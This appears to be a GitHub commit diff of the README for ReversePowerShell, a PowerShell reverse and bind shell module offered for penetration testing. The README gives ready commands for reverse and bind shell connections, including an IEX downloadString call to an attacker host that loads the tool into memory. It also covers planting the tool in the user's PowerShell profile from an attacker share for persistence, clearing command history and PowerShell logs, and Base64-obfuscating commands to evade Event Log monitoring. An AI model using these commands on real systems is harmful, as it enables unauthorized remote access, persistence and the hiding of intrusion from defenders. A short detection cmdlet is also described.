Skip to content

Commit c4e7d80

Browse files
committed
Updated README for psd1
Updated README for psd1
1 parent 6eb52e9 commit c4e7d80

File tree

2 files changed

+23
-2
lines changed

2 files changed

+23
-2
lines changed

README.md

+23-2
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,12 @@ __See "Command Usage:" section below for command usage details__
33
### [NOW IN POWERSHELL GALLERY!!!](https://www.powershellgallery.com/packages/ReversePowerShell/1.3.2)
44
```powershell
55
# Install Module
6-
Install-Module ReversePowerShell
6+
Install-Module -Name ReversePowerShell
77
88
# Update Module
99
Update-Module -Name ReversePowerShell
1010
# OR
11-
Install-Module ReversePowerShell -Force
11+
Install-Module -Name ReversePowerShell -Force
1212
```
1313
---
1414

@@ -28,7 +28,9 @@ Once there it can be imported into a PowerShell session using the following comm
2828
```powershell
2929
Import-Module ReversePowerShell
3030
```
31+
3132
Or in cases where you want to import the module from whatever file you are in...
33+
3234
```powershell
3335
Import-Module .\ReversePowerShell.psm1
3436
```
@@ -37,6 +39,7 @@ If your are able to use Invoke-Expresion (IEX), this module (ReversePowerShell)
3739
You can also copy and paste the functions into your PowerShell session so the cmdlets become available to run.
3840
Notice the .ps1 extension. When using downloadString this will need to be a ps1 file to inject the module into
3941
memory in order to run the cmdlets.
42+
4043
```powershell
4144
IEX (New-Object -TypeName Net.WebClient).downloadString("http://<attacker ipv4>/ReversePowerShell.ps1")
4245
@@ -45,12 +48,14 @@ IEX (New-Object -TypeName Net.WebClient).downloadString("http://<attacker ipv4>/
4548
```
4649

4750
IEX is blocked from users in most cases and Import-Module is monitored by things such as ATP. Downloading files to a target machine is not always allowed in a penetration test. Another method to use is Invoke-Command. This can be done using the following format.
51+
4852
```powershell
4953
Invoke-Command -ComputerName <target device> -FilePath .'\ReversePowerShell.ps1m' -Credential (Get-Credential)
5054
```
5155
This will execute the file and it's contents on the remote computer.
5256

5357
Another sneaky method would be to have the function load at the start of a new PowerShell window. This can be done by editing the $PROFILE file.
58+
5459
```powershell
5560
Write-Verbose "Creates powershell profile for user"
5661
If (!(Test-Path -Path $PROFILE)) { New-Item -Path $PROFILE -ItemType File -Force }
@@ -61,6 +66,10 @@ If (!(Test-Path -Path $PROFILE)) { New-Item -Path $PROFILE -ItemType File -Force
6166
# - C:\Users\<username>\OneDrive\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
6267
#
6368
> Adding this module into the PowerShell $PROFILE will import all of the commands every time the executing user opens a PowerShell session. This means you will need to open a new PowerShell session after doing this in order to access the commands. Just like using ```source .bashrc``` to apply changes to the ~/.bashrc file in a linux terminal you can reload the profile by doing the following.
69+
```
70+
71+
Another way to create a PowerShell profile for user
72+
6473
```powershell
6574
cmd /c 'copy \\<attacker ip>\MyShare\ReversePowerShell.ps1 $env:USERPROFILE\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.psm1
6675
powershell.exe # Maybe but not sure on this one
@@ -72,6 +81,7 @@ powershell.exe # Maybe but not sure on this one
7281
#### START BIND SHELL
7382
The below command can be executed to start a bind shell that connects the defined port to PowerShell.
7483
This command binds PowerShell to port 8088. Invoke-ReversePowerShell, netcat, ncat, metasploit, and other tools can be used to connect to this bind shell. You are able to use Ctrl + C to cancel the bind listener.
84+
7585
```powershell
7686
Start-Bind -Port 8088
7787
```
@@ -80,6 +90,7 @@ Start-Bind -Port 8088
8090
The below command was executed to start a listener on the Attack machine on port 8089. This can be
8191
connected too using Invoke-ReversePowerShell as well as ncat, netcat, metasploit, and other tools.
8292
The listener can be stopped or canceld by doing Ctrl + C.
93+
8394
```powershell
8495
Start-Listener -Port 8089
8596
```
@@ -94,6 +105,7 @@ __SPECIAL FEATURES OF INVOKE-REVERSEPOWERSHELL__
94105

95106
#### ISSUE REVERSE SHELL CONNECTION
96107
The below command is to be issued on the Target Machine. The below command connected to the listener over port 8089.
108+
97109
```powershell
98110
Invoke-ReversePowerShell -IpAddress 192.168.0.10 -Port 8089
99111
# OR
@@ -102,6 +114,7 @@ Invoke-ReversePowerShell -Reverse -IpAddress 192.168.0.10 -Port 8089
102114
```
103115

104116
In the below command the listening port 8089 on 192.168.0.10 is connected too. When the session is exited the -ClearHistory parameter specified attempts to clear your sessions command history as well as clear the powershell log file.
117+
105118
```powershell
106119
Invoke-ReversePowerShell -IpAddress 192.168.0.10 -Port 8089 -ClearHistory
107120
# OR
@@ -110,6 +123,7 @@ Invoke-ReversePowerShell -Reverse -IpAddress 192.168.0.10 -Port 8089 -ClearHisto
110123
```
111124

112125
The below command is to be issued on the Target Machine. The below command connected to the listener over port 8089. The -Obfuscate parameter obfuscates the commands executed using Base64 so they do not appear in clear text in the Event Log.
126+
113127
```powershell
114128
Invoke-ReversePowerShell -IpAddress 192.168.0.10 -Port 8089 -Obfuscate
115129
# OR
@@ -119,11 +133,13 @@ Invoke-ReversePowerShell -Reverse -IpAddress 192.168.0.10 -Port 8089 -Obfuscate
119133

120134
#### ISSUE BIND SHELL CONNECTION
121135
The below command is used to connect to a listening Bind Shell port. Any of the special parameters can be used to with the Bind parameter set name as well.
136+
122137
```powershell
123138
Invoke-ReversePowerShell -Bind -IpAddress 192.168.0.10 -Port 8089
124139
```
125140

126141
#### FIND EVIDENCE OF REVERSE SHELL CONNECTION
142+
127143
```powershell
128144
# Check the localhost for evidence of reverse shell in the event logs
129145
Find-ReversePowerShell
@@ -137,12 +153,14 @@ Find-ReverseShell -ComputerName DC01.domain.com -FilePath C:\Temp\Results.xml
137153
#### FIREWALL AND BLOCKED PORTS
138154
If you are not able to gain a connection it is most likely due to the Windows Firewall. If you have access on a machine as a user you will not be able to make firewall changes. You need admin priviledges for that. Use the high range ports RPC would connect to or other common port. If a range has been defined you can find the allowed ports at "HKLM:\Software\Microsoft\Rpc\Internet\ with Entry name Data Type". Otherwise when not defined any ports between 49152-65535 might work.
139155
This command may also display the port allowed RPC port range
156+
140157
```cmd
141158
netsh int ipv4 show dynamicport tcp
142159
```
143160

144161
The following commands can be used to view firewall rules. If one of these does not work.
145162
the other might.
163+
146164
```powershell
147165
# This way should work to display the firewall even if you are a user
148166
$FirewallRule = New-Object -ComObject HNetCfg.FwPolicy2
@@ -158,10 +176,13 @@ cmd /c netsh advfirewall firewall show rule name=all
158176

159177
#### VERIFY LISTENING PORTS
160178
You can verify/view actively listening ports on the target computer by issuing the following command.
179+
161180
```powershell
162181
Get-NetTcpConnection -State Listen
163182
```
183+
164184
or if you are a command prompt kind of person;
185+
165186
```powershell
166187
netstat -q
167188
```

ReversePowerShell.psd1

0 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)